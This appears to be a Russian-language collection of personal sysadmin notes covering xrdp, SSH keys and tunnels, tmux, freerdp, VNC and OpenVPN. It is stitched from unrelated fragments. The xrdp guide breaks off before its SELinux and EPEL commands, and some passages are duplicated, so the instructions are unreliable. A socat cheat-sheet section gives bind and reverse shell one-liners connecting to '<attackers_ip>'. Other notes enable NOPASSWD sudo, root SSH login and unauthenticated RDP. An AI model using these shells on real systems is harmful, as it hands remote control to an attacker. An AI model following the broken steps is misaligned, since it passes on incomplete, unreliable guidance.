Остальные компьютеры сети, по большей части, считаются надёжными. Разрешены лишь отдельные входящие соединения.
развернуть В этой статье мы рассмотрим установку xrdp на CentOS 7. Для пущего интереса, давайте мы это рассмотрим с такой точки зрения: вы поставили CentOS в его минимальном варианте установки (minimal install), без компонентов рабочего стола и прочих утилит и вам понадобилось этот самый рабочий стол завести, и предоставить к нему доступ по rdp. Поэтому мы рассмотрим весь процесс самого начала.
GNOME
А сначала нам нужно установить компоненты рабочего стола — а именно GNOME. Сделать это можно следующим образом.
Получим список групп доступного для установки программного обеспечения
yum grouplist
или так
yum groups list
Среди текста вывода команд мы увидим строку «GNOME Desktop»
Она то нам и нужна.
Запустить установку мы можем одной из следующих команд
yum groupinstall "GNOME Desktop"
или
yum groups install "GNOME Desktop"
Это что касается рабочей станции. Если же вы устанавливаете GNOME на систему, выполняющую серверные функции, то лучше воспользоваться одной из следующих команд
yum groupinstall "Server with GUI"
или
yum groups install "Server with GUI"
После этого нам нужно указать, чтобы по умолчанию система загружалась в графический режим.
systemctl set-default graphical.target
Для того, чтобы активировать его без перезагрузки
systemctl start graphical.target
xrdp
Теперь перейдем к xrdp.
Сначала добавим нужный нам репозиторий. А понадобится нам EPEL — Extra Packages for Enterprise Linux. Найти ссылку на его текущую версию мы можем, заглянув по адресу http://download.fedoraproject.org/pub/epel.
В моем случае команды будут выглядеть следующим образом
epel/x86_64 Extra Packages for Enterprise Linux 7 - x86_64 10,042
Далее нам нужно установить xrdp.
yum install xrdp
Если после этого мы попытаемся запустить xrdp, то это у нас скорее всего не получится, а в логах (команда journalctl -xe) мы увидим сообщения «Failed at step EXEC spawning /usr/sbin/xrdp-sesman: Permission denied» и «Failed at step EXEC spawning /usr/sbin/xrdp: Permission denied».
Чтобы все-таки их запустить, нам нужно изменить контекст безопасности SELinux для этих двух файлов.
-a, сохранять права доступа и информация о владельцах, включает опции -rlptgoD; -r, копировать каталоги рекурсивно; -l, копировать символические ссылки, не обращаться к файлам; -p, сохранять прав доступа к файлам; -t, сохранять время модификации файлов; -g, -o, сохранять владельца и группы файла; -D, охранять файлы устройств и специальных файлов; -u, режим обновления, не синхронизировать файлы имеющие более позднюю дату модификации, чем в источнике; -v, отображать имена копируемых файлов; -q, не отображать сообщения об ошибках; -z, сжимать данные; -P, отображать прогресс копирования; -с, проверка файлов по контрольной сумме; --ignore-errors, игнорировать ошибки; --max-delete, максимальное число удаляемых за один раз файлов и каталогов; --files-from=FILE, указать список файлов и директорий для копирования; -e ssh, использование при копировании SSH; --bwlimit=KBPS, ограничение скорости передач данных.
наиболее наиболее часто используемые rsync примеры синхронизации файлов.
Используем rsync по SSH для синхронизации двух директорий или файлов: rsync -zavP /source root@1.1.1.1:/backup
Можно синхронизировать сразу два каталога или файла: rsync -zavP /source /source2 root@1.1.1.1:/backup
Копировать файлы с удаленного сервера на локальный: rsync -zavP root@1.1.1.1:/backup /source
Использовать rsync по SSH с нестандартным портом: rsync -zavP '-e ssh -p 12345' /source root@1.1.1.1:/backup
отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так. sudo apt install vim vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file
монтирование sudo apt install sshfs fuse Для монтирования нужно запустить команду вида: sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ если SSH работает на порту 2222, то команда будет такой: sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222
Свой ключ можно сгенерировать с помощью команды ssh-keygen Сменить пароль на ключ можно с помощью команды ssh-keygen -p
private key file (например, id_rsa) – закрытый ключ для аутентификации, который содержит очень чувствительную информацию, поэтому он должен иметь права на чтение и запись для владельца и не быть доступным для группы и других, иначе ssh откажется подключаться.
public key (например, файл .pub) – открытый ключ для аутентификации, который также содержит конфиденциальную информацию, поэтому должен иметь права на чтение и запись для владельца, разрешение только на чтение для группы и других.
authorized_keys – содержит список открытых ключей, которые могут быть использованы для входа в систему в качестве данного пользователя. Он не является особо секретным, но должен иметь разрешения на чтение и запись для владельца и не быть доступным для группы и других.
known_hosts – хранит список ключей всех хостов, на которые входил пользователь по ssh. Он должен иметь права на чтение и запись для владельца и не должен быть доступен для групп и других пользователей.
config – файл конфигурации для каждого пользователя, должен иметь права на чтение и запись для владельца и не должен быть доступен для групп и других.
~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ. ~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать
Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts
Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1
Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке Команда ssh-copy-id user@server позволяет скопировать ключ Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)
Права на файл ~/.ssh/authorized_keys В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права: chmod 0700 ~/.ssh chmod 0600 ~/.ssh/authorized_keys
Настройка входа через SSH без пароля На локальной машине (с которой заходим): ssh-keygen -t rsa или ssh-keygen -t ed25519 -C "your_email@example.com" -f name_files
Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои): ssh mial@192.168.1.35 mkdir .ssh
Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):
советы по безопасности Доступ только с определённых IP Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny sshd: ALL
В файл /etc/hosts.allow Sshd: 188.120.252.0/24
Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной. После этого нужно перезапустить службу командой service sshd restart.
Смените порт SSH Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart
Используйте только ключи SSH Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.
Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.
Оция PermitRootLogin — может ли root входить в систему посредством SSH: PermitRootLogin no А эта директива определяет, какие пользователи могут логиниться в SSH: AllowUsers alice bob
включить SSH доступ для пользователя root vi /etc/ssh/sshd_config PermitRootLogin yes service ssh restart systemctl restart sshd
разорвать TCP подключение используя утилиту tcpkill sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН
вставить в свой файл /etc/ssh/sshd_config на стороне сервера: Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server закомментить #Subsystem sftp /usr/lib/openssh/sftp-server
systemctl restart sshd
в /etc/sudoers просто поместите новые записи после них. sudo visudo Новая запись должна выглядеть myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или %sudo ALL=(ALL) NOPASSWD: ALL для группы.
Удалённый экран через SSH Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config: ... AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE AcceptEnv LC_MONETARY LC_MESSAGES AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE #AllowAgentForwarding yes #AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes ... Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно: ... Match User bilbobaggins X11Forwarding no ... Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу: sudo service sshd restart
На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно: ... ForwardX11Trusted yes ... Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.
Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем: xpra start :100 --start-child=xterm
после чего подсоединяемся с другой машины к созданному сеансу xpra attach ssh:имя_сервера:100
Запуск Заходим на удаленный хост и потом запускаем приложение kopete
ssh -XC user1@remotehost xterm Сразу запустить приложение xterm
ssh -XC user1@remotehost "xterm" Опции: X : перенаправлять графический вывод С : компрессия передаваемых данных
если не работает проверить права на удаленном хосте ls -l ~/.Xauthority если не помогло, добавить на сервере в sshd_config XAuthLocation /usr/bin/xauth
* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH. ** если такой строчки нет, необходимо ее дописать.
Чтобы изменнения вступили в силу, перезагружаем сервис: systemctl restart sshd || systemctl restart ssh * или service sshd restart || service ssh restart
2. GSSAPIAuthentication GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.
Открываем sshd_config: vi /etc/ssh/sshd_config
И приводим две строки к следующему виду: GSSAPIAuthentication no GSSAPICleanupCredentials yes
* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.
3. motd В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.
Для отключения модуля приветствия, открываем на редактирование два файла: vi /etc/pam.d/login vi /etc/pam.d/sshd
И комментируем все строки, в которых присутствует pam_motd.so. Перезапускаем sshd: systemctl restart sshd || systemctl restart ssh
в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол systemctl stop iptables.service ip6tables.service или при загрузке нажать tab и вбить опцию загрузки nofirewall
ошибки при подключении если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc то подключаться ssh -c aes256-cbc user@address если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1 то подключаться ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address если ошибка no matching cipher found. Their offer: 3des-cbc то ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
Обратный туннель SSH с AutoSSH Как настроить постоянно работающий SSH-туннель apt install autossh autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине Для autossh обязательна опция -M, которая задает порт для мониторинга соединения Чтобы запустить autossh в фоновом режиме, добавляем опцию -f Чтобы завершить процесс, используем команду pkill: $ pkill autossh
https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/ Мы передаем «autossh» те же параметры, что и ssh, например: autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1 для привязки локальных портов к различным удаленным машинам. ИЛИ autossh -R2200:localhost:22 example.com Чтобы привязать удаленные порты к нашей локальной машине.
Настройка SSH-тунеля В самом простом случае ssh-тунель создается командой: ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected] где f - выполнять в фоне. i - путь до ключа, по которому будет происходить авторизация на сервере master. N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается. L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.
Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.
autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N где M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh. o - задание дополнительных опций. L - маппинг портов. i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master. N - не выполнять команд при подключении. f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.
Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.
Создаем сервис. Для этого создаем файл sudo vi /etc/systemd/system/autossh-mysql-tunnel.service со следующим содержанием
Параметр -f можно не использовать, так как systemd не понимает этот параметр.
Перезагружаем systemd, чтобы сервис стал доступен: sudo systemctl daemon-reload Запускаем сервис и помещаем его в автозагрузку: sudo systemctl start autossh-mysql-tunnel.service sudo systemctl enable autossh-mysql-tunnel.service Проверить статус можно с помощью команды: sudo systemctl status autossh-mysql-tunnel
http://ruslash.com/ssh-proxy-via-host/ На локальном хосте выполняем: $ ssh -L 8888:localhost:8888 HOSTA На следующем хосте $ ssh -D 8888 HOSTX Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.
https://wiki.enchtex.info/practice/ssh_socks_proxy_server на локальной машине подключаемся к удаленной системе с помощью команды: $ ssh -D8080 user@server где -D8080 – произвольный номер порта. в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080
ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22 Где -f Запросит ssh перейти в фоновый режим только перед выполнением команды. -C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений). -2 Принуждает ssh использовать только протокол версии 2. -q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки. -T Отменить переназначение терминала. -n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода). -N Не выполнять удаленную команду. -D [локальный IP : ] порт -p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.
Например:
ssh -f -C2qTnN -D 1080 roman@8.8.8.8 После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.
Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.
Для примера я взял Firefox. Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить» Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080). Ставим ключ на пункт «SOCKS 5» и применяем настройки.
Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя . Вам может быть предложено ввести пароль. Фактический пример: $ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831
небольшой конфигурационный файл: $ vi ~/.tmux.conf
vi ~/.profile
$ tmux source-file ~/.tmux.conf кратко для подключения обратно используется другой аргумент командной строки: $ tmux attach
для перехода к предыдущему окну следует использовать следующую команду: $ tmux last-window
А для создания окна такую: $ tmux new-window
Весь перечень поддерживаемых команд можно получить так: $ tmux list-commands
Получить список всех возможных опций можно так: $ tmux show-options $ tmux show-window-options
Очень хороший способ запустить tmux: tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый. tmux new -s session1 - создание сессии с именем session1 tmux attach -t session1 - подключение к сессии session1 tmux a -t session1 Ctrl+b s Выбрать сессию tmux kill-session -t session1 - Завершение сессии
После этого вы попадаете в полноценную консоль. Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)
В одной сессии может быть сколько угодно окошек: Ctrl+b c — создать окошко; Ctrl+b 0...9 — перейти в такое-то окошко; Ctrl+b p — перейти в предыдущее окошко; Ctrl+b n — перейти в следующее окошко; Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее); Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).
В одном окошке может быть много панелей: Ctrl+b % — разделить текущую панель на две, по вертикали; Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2); Ctrl+b →←↑↓ — переходить между панелями; Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).
Недостаток — непривычным становится скроллинг: Ctrl+b PgUp — вход в «режим копирования», после чего: PgUp, PgDown — скроллинг; q — выход из «режима копирования».
работа с tmux Старт # tmux //без параметров будет создана сессия 0 # tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.
Префикс (с него начинаются команды) <C-b> (CTRL + b)
Новое окно (нажать CTRL+b, затем нажать с) <C-b c>
Список окон <C-b w> // переключиться курсором вверх-вниз
Переключение <C-b n> // следующее окно <C-b p> // предыдущее окно <C-b 0> // переключиться на номер окна
Окна можно делить на панели (Panes) Как в тайловых (мозаичных) оконных менеджерах.
Деление окна горизонтально <C-b "> либо команда # tmux split-window -h
Деление окна вертикально <C-b %> либо команда # tmux split-window -v
Переход между панелей <C-b стрелки курсора> // либо режим мыши
Изменение размеров панелей <C-b c-стрелки> // либо режим мыши
Закрытие окон <C-b x> // нужно подтвердить y либо # exit
Отключение от сессии <C-b d> либо # tmux detach
Список сессий # tmux ls
Подключиться к работающей сессии # tmux attach //подключение к сессии, либо к единственной, либо последней созданной # tmux attach -t session1 // подключение к сессии session1
Выбрать сессию <C-b s>
Завершение сессии # tmux kill-session -t session1
Завершить все сессии # tmux kill-server
Список поддерживаемых комманд # tmux list-commands
В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS: dig eax.me
В ответ должно прийти что-то вроде: ... ;; Query time: 20 msec ;; SERVER: 8.8.8.8#53(8.8.8.8)
… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.
Напоследок вот вам несколько занимательных фактов о sshuttle:
Чтобы все работало, на сервере не требуются ни root, ни sudo; Утилита не ломается, если попытаться сделать VPN внутри VPN; Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;
доступ к узлам за NAT или с динамическим IP https://github.com/gjedeer/tuntox ./tuntox -i -L 2222:127.0.0.1:22 ssh -p 2222 myuser@localhost ssh -o ProxyCommand='./tuntox -i -W localhost:22' gdr@localhost
Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse: sudo groupadd fuse sudo usermod -aG fuse $USER либо sudo vim /etc/fuse.conf user_allow_other тогда монтирование будет с опцией sshfs -o allow_other
Аутентификация по ключу ssh-keygen -t rsa -b 4096 -C "your_email@domain.com" ssh-copy-ide [remote_username]@[server_ip_address] Открытый ключ автоматически копируется в файл .ssh/authorized_keys
Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/
отмонтировать fusermount -u /opt/repo
vim /etc/fstab USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0
echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге) sudo service xrdp restart
systemctl is-enabled xrdp # проверить есть ли в автозагрузке systemctl disable xrdp # убрать из автозагрузки systemctl enable xrdp # добавить в автозагрузку systemctl start xrdp # запустить
rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us
если ошибки с локалью, то вбить export LANG=ru_RU.utf8
если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе то sudo umount -f thinclient_drives после этого вы должны переименовать thinclient_drives в .thinclient_drives
vi (m) /etc/xrdp/sesman.iniфайл. В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives. Можно rmdir thinclient_drives в своем хомедире.
ошибка при запуске с sudo или su "Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK." вбить xhost si:localuser:root после sudo программа или что безопасней export XAUTHORITY=$HOME/.Xauthority sudo программа
Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth: freerdp-shadow-cli -auth
Если аутентификация включена, PAM используется с подсистемой X11 чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида: ПОЛЬЗОВАТЕЛЬ:::ХЕШ::: Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида: winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ
К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая: winpr-hash -u mial -p 2
Получен хеш: 8f33e2ebe5960b8738d98a80363786b0
Создаём текстовый файл SAM и в него записываем строку mial:::8f33e2ebe5960b8738d98a80363786b0:::
Теперь запускаем freerdp-shadow-x11 с двумя опциями: /sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации /sec:nla — принудительное включение аутентификации по протоколу NLA
Итак, моя команда следующая: freerdp-shadow-cli /sam-file:SAM /sec:nla
Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:
x,y — координаты верхнего левого угла прямоугольника w — ширина прямоугольника h — высота прямоугольника
К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300: freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500
Ошибка freerdp-shadow «client authentication failure: -1» То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.
nano /etc/lightdm/lightdm.conf Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку : xserver-allow-tcp=true
Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию [XDMCPServer] enabled=true
service lightdm restart netstat –na | more
XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP
vncpasswd # создать пароль для TigerVNC сервера запуск vncserver :1 # запустить на 1 виртуальном столе Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd
vncserver -list # список запущенных рабочих столов с VNC vncserver -kill :1 # убить сессию vncconfig -display :1 -list # список опций VNC ss -tulp # посмотреть порт запуска vncviewer -listen 5901 # подключиться gvncviewer ip_address:1 # адрес:дисплей
В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS: dig eax.me
В ответ должно прийти что-то вроде: ... ;; Query time: 20 msec ;; SERVER: 8.8.8.8#53(8.8.8.8)
… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.
Напоследок вот вам несколько занимательных фактов о sshuttle:
Чтобы все работало, на сервере не требуются ни root, ни sudo; Утилита не ломается, если попытаться сделать VPN внутри VPN; Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;
опции -q: тихий режим (quiet mode). -C: сжатие данных (compression). -N: указываем SSH не выполнять удалённые команды. -f — запускает SSH в фоне (после аутентификации возвращает управление терминалу) -p ПОРТ: указываем нестандартный порт для подключения к удалённому серверу.
проверка localhost:~$ netstat -pan | grep 2080
чтобы позволить другим программам в нашей сети подключаться к прокси-сервису через ssh socks-прокси, включая ethernet или wifi ssh -D 0.0.0.0:8888 user@remoteserver
пример ssh -fND 7001 пользователь@ip_адрес_сервера chromium --proxy-server=socks5://localhost:7001 -D 7001 — создаёт динамический (SOCKS) прокси на локальном порту 7001
Ограничения Трафик через туннель проходит только у тех приложений, которые явно настроены на использование прокси. SOCKS5 работает только с TCP-соединениями, UDP не поддерживается
Чтобы предотвратить утечку через WebRTC в Chromium, добавьте флаг: chromium --proxy-server=socks5://localhost:7001 --disable-webrtc
ssh -fND 7001 пользователь@ip_адрес_сервера Затем выполните любую команду через proxychains: proxychains curl ifconfig.me Предварительно убедитесь, что в файле /etc/proxychains.conf или ~/.proxychains/proxychains.conf указано: socks5 127.0.0.1 7001
Работа с сетевыми дисками Работа с NFS 1. установите nfs-common sudo apt install nfs-common 2. сделайте точку монтирования mkdir -p /media/nfs-server 3. подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server mount :/volume1/music /media/nfs-server 4. Просмотрите смонтированный каталог. ls /media/nfs-server
Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0
проверка открытых портов netstat -ltup; netstat -lntup; netstat -lntupc ss -lntu; ss -lntup nmap -n -Pn -sS -sU -p- localhost lsof -i; lsof -i :80
Шелл Установка слушателя: socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
Подключение к слушателю: socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
Обратный шелл Установка слушателя: socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
Подключение к машине атакующего socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Размер терминала По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала: stty -a speed 38400 baud; rows 57; columns 211; line = 0;
Примените нужный размер к вашему терминалу socat: stty rows 57 cols 211
Инструкция по настройке OpenVPN клиента.
----------------------------------------
Для доступа к приватной витуальной сети необходимо установить и настроить
клиент OpenVPN: https://openvpn.net/
ВНИМАНИЕ! Пользуйтесь одновременно только одним активным подключением по OpenVPN.
Если, все же, возникает необходимость одновременно подключаться с двух
компьютеров (например: десктоп + ноутбук) - запросите для второго
компьютера отдельный набор ключей.
Состав архива <имя-пользователя>-openvpn-keys.zip:
- ca.crt - CA сертификат.
- <имя-пользователя>.crt - клиентский сертификат.
- <имя-пользователя>.key - ключ.
- <имя-пользователя>.ovpn - совмещенная конфигурация, включающая в себя все
ключи и сертификаты. Генерируется по запросу и
используется, в основном, для мобильных устройств.
Настройка клиента OpenVPN.
1. Установите openvpn.
- Windows:
Скачайте инсталятор (для Windows 7 и позднее) на странице:
https://openvpn.net/index.php/open-source/downloads.html
- Linux:
Для Debian/Ubuntu:
# apt install openvpn
- MacOS:
# brew install openvpn
Подробней об установке openvpn-клиента для своего дистрибутивам можно узнать здесь:
https://openvpn.net/index.php/open-source/documentation/howto.html
Официальные инструкции по настройке для мобильных устройств:
https://openvpn.net/vpn-server-resources/faq-regarding-openvpn-connect-android/
https://openvpn.net/vpn-server-resources/faq-regarding-openvpn-connect-ios/
2. Создать папку:
/etc/openvpn/keys_имя_сети - для Linux,
или:
C:\Program Files\OpenVPN\config - для Windows
и скопировать в нёё прилагаемые к письму ключи:
ca.crt
<user_name>.crt
<user_name>.crt
где: <user_name> - имя файлов-ключей непосредственно для вашей учетной записи.
Для MacOS нужно поместить ключи в /usr/local/etc/openvpn/
3. Отредактировать пример конфигурации клиента, заменив дефолтные значения на перечисленные ниже:
- Linux:
Для Debian/Ubuntu - файл /etc/openvpn/client:
connection-type=tls
remote=ip_адрес
comp-lzo=yes
port=нужный_порт
dev-type=tun
remote-cert-tls=server
cert=/etc/openvpn/keys_имя_сети/<user_name>.crt
ca=/etc/openvpn/keys_имя_сети/ca.crt
key=/etc/openvpn/keys_имя_сети/<user_name>.key
dev=tun
proto=udp
подставив необходимые имена вместо <user_name>.
Обязательно укажите device = tun и использование компрессии comp-lzo.
Используется UDP.
В Ubuntu, как правило, параметры указываются через пробел ("dev tun" и тд)
и может не работать опция "connection-type". Вместо неё следует указать:
tls-client
- Windows:
В операционной системе Windows предлагется импортировать уже готовые настройки (в трее по
правой кнопке): по факту, это обычный процесс копирования конфигов в папку с настройками
OpenVPN, но часто БЕЗ требуемых СЕРТИФИКАТОВ. Можно заранее изменить в настройках расположения
конфигураций, например:
C:\Program Files\OpenVPN\easy-rsa\client.ovpn:
или после импорта конфига скопировать файлы сертификатов ту же папку (скорей всего, путь:
С:\Users\<username>\OpenVPN\config).
Сам конфигурационный файл client.ovpn нужно привести к следующему виду, убрав лишние пробелы
в начале строк:
remote ip_адрес
comp-lzo yes
port нужный_порт
dev-type tun
remote-cert-tls server
cert <user_name>.crt
ca ca.crt
key <user_name>.key
dev tun
proto udp
tls-client
pull
auth-nocache
и подставив необходимые имена вместо <user_name>.
Подробней по настрйоке клиента OpenVPN для Windows можно узнать здесь:
https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide
- MacOS:
Есть общий файл конфигурации: /Library/LaunchDaemons/homebrew.mxcl.openvpn.plist
Это xml, который, можно редактировать: прописать расположение и имя конфигурации для
пользователя, но можно оставить и по умолчанию, переименовав конфиг в openvpn.conf
<?xml version="1.0" encoding="UTF-8"?>
